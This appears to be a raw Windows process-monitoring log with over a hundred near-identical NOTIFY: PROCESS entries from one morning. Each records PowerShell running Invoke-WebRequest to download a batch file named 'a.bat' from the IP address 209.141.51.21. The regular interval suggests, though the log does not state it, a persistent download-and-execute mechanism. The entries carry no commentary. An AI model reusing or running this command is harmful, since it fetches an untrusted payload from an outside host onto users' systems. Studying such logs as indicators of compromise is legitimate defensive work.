C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 05:47:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 05:50:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 05:52:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 05:55:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 05:57:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 06:00:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 06:02:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 06:05:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 06:07:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 06:10:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 06:12:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 06:15:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 06:17:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 06:20:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 06:22:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 06:25:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 06:27:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 06:30:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 06:32:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 06:35:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 06:37:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 06:40:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 06:42:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 06:45:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 06:47:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 06:50:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 06:52:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 06:55:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 06:57:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 07:00:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 07:02:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 07:05:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 07:07:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 07:10:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 07:12:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 07:15:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 07:17:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 07:20:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 07:22:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 07:25:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 07:28:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 07:30:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 07:33:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 07:35:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 07:38:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 07:40:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 07:43:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 07:45:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 07:48:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 07:50:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 07:53:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 07:55:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 07:58:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 08:00:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 08:03:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 08:05:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 08:08:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 08:10:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 08:13:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 08:15:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 08:18:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 08:20:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 08:23:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 08:25:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 08:28:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 08:30:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 08:33:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 08:35:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 08:38:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 08:40:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 08:43:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 08:45:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 08:48:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 08:50:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 08:53:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 08:55:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 08:58:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 09:00:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 09:03:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 09:05:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 09:08:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 09:10:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 09:13:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 09:15:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 09:18:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 09:20:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 09:23:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 09:25:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 09:28:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 09:30:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 09:33:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 09:35:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 09:38:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 09:40:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 09:43:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 09:45:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 09:48:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 09:50:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 09:53:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 09:55:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 09:58:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 10:00:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 10:03:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 10:05:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 10:08:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 10:10:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 10:13:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 10:15:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 10:18:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 10:20:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 10:23:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 10:25:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 10:28:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 10:30:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 10:33:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 10:35:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 10:38:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 10:40:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 10:43:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 10:45:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 10:48:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 10:50:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 10:53:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 10:56:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 10:58:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 11:01:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 11:03:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 11:06:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 11:08:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 11:11:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 11:13:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 11:16:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 11:18:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 11:21:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 11:23:34 NOTIFY: PROCESS 